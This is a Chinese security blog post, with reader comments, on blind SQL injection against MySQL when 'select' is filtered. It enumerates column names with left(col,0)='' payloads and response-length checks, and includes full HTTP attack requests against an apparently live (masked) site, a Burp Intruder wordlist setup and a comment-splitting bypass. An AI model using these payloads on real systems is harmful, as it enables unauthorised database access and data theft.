最新消息:

mysql过滤过滤select情况下跑字段的方法

MySQL注入 admin 3932浏览 0评论

ps:作者通过mysql中的left()函数来判断列猜测的是否正确,然后用burp跑。

过滤select的方法:

foreach($_REQUEST as $key => $value){
    if($value){
        if (substr_count(strtolower($value),'select')>0){
            die('hacker attack!');
            }
        }
    }

正面至今未遇到哪位大神能突破我的这段防注入
基本都是绕开select搞盲注
过滤select对于注入来说非常棘手
freebuf发表了一篇文章提到”碎片攻击”
最后被证明是胡扯
接着我介绍下无select的情况下猜字段
至于说有了字段有什么用,我的回答是,有了字段继续能盲注字段的值
先说明原理:

mysql> select id,user,pwd from user where user='root' and left(pwd,0)='';
+----+------+------+
| id | user | pwd  |
+----+------+------+
| 11 | root | pass |
| 17 | root | pass |
| 47 | root | pass |
| 51 | root | pass |
+----+------+------+
4 rows in set
 
mysql> select id,user,pwd from user where user='root' and left(pwdx,0)='';
1054 - Unknown column 'pwdx' in 'where clause'

当字段存在时left()返回True,否则返回False
利用该特性:

GET /qyml/company.php?user=gaoxy731024'+and+left(pass_pwd,0)=''+and+'xx'='xx HTTP/1.1
Host: www.xxoo.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8

HTTP/1.1 200 OK
Date: Thu, 02 Jan 2014 21:30:51 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Cache-Control: public, no-transform
Connection: close
Content-Type: text/html; charset=GB2312
Content-Length: 14048
GET /qyml/company.php?user=gaoxy731024'+and+left(user_name,0)=''+and+'xx'='xx HTTP/1.1
Host: www.xxoo.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8

HTTP/1.1 200 OK
Date: Thu, 02 Jan 2014 21:31:21 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Cache-Control: public, no-transform
Connection: close
Content-Type: text/html; charset=GB2312
Content-Length: 23418

根据长度显而易见能判读True or False

burpsuite::intruder

GET /qyml/company.php?user=gaoxy731024'+and+left(§pass_word§,0)=''+and+'xx'='xx HTTP/1.1
Host: xxoo.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8

选择好选择好paylaod位置后
加载payload:字段名字典(sqlmap->/txt/common-columns.txt)
然后根据response长度判断是否成功
字典不给力的情况下
选择brute forcer吧~
last:有人在过滤select的情况下跑出了表名,求教技术细节.

转载请注明:jinglingshu的博客 » mysql过滤过滤select情况下跑字段的方法

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (2)

  1. 这种用left()猜测字段的方法只能用于猜测当前表中的字段。用left()函数猜测字段实质上是用字符串函数来猜测,其他字符串函数也是可以的。 1.freebuf的文章不是胡扯,你再仔细看看http://blog.spiderlabs.com/2011/ ... essons-learned.html 我理解是这样的,有多个参数时,如果过滤了某些关键字,可以在每个参数构造一部分,数据库里拼接起来是完整的语句 一个简单的例子 $sql="select id,tel from user where id=".$id." and tel=".$no.";"; url中构造id=1 or /*&no=123*/1=1 最后的sql就是select id,tel from user where id=1 or /* and tel=123*/1=1; 碎片大概就是这个意思 2.用left函数局限性很大,A11说的有道理。如果你过滤了select,用字符串函数来猜解的方法很常见 要注意select是不能拆了再拼的,利用注释sel/*foo*/ec/*bar*/t是错的,很多资料里都是照搬这个错误
    admin11年前 (2014-01-14)回复
  2. mysql截取函数有:left(), right(), substring(), substring_index() 左截取left(str, length) 右截取right(str, length) substring(str, pos); substring(str, pos, len) substring_index(str,delim,count)
    admin11年前 (2014-01-14)回复